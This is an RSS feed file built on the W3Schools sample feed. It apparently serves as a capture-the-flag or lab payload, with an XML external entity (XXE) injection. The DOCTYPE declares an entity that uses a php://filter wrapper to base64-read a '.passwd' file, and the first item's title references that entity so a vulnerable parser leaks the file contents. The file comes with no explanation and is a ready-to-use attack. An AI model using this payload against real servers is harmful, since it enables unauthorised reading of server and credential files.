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<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=.passwd"> ]>
<rss version="2.0">
<channel>
<title>W3Schools Home Page</title>
<link>https://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>&xxe;</title>
<link>https://www.w3schools.com/xml/xml_rss.asp</link>
<description>New RSS tutorial on W3Schools</description>
</item>
<item>
<title>XML Tutorial</title>
<link>https://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>